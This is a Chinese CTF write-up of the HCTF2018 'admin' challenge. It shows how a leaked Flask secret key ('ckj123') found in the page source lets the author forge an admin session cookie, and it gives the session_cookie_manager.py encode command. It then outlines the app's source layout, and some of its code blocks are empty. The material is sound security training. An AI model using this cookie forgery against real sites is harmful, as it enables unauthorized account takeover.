菜鸡决定对python审计好好复习一下
HCTF2018 admin
复现
虽然是非预期解但是也很有趣,师傅写的代码也挺棒的
在修改密码的页面查看源代码发现了一个提示。(不过这个挺难发现的还是要养成多看看源码的习惯)
1 |
|
之后就可以看到flask
的secret_key
是ckj123
同时可以看到flag
获得的条件
1 | {% if current_user.is_authenticated and session['name'] == 'admin' %} |
然后就可以伪造session了,抓包后修改session就可以了(Windows的python3跑不了用的WSL中的python3)
1 | flask-session-cookie-manager git:(master) python3 session_cookie_manager.py encode -s 'ckj123' -t '{"name":"admin", "user_id":"1"}' |
分析一下源码
app目录主要内容,其中code.py
是用来产生验证码的,config.py
是配置文件,forms.py
是表单建模,models.py
是一些模型,routers.py
是路由
1 | ├── app |
我们拿到flag的条件就是登陆admin
用户,登陆的路由如下:
1 |
|
这里涉及到了flask
的用户认证可以学习一下,令人疑惑的是文档中说了这个is_authenticated
方法需要自己实现,但是我并没有在源代码中找到实现了这个方法。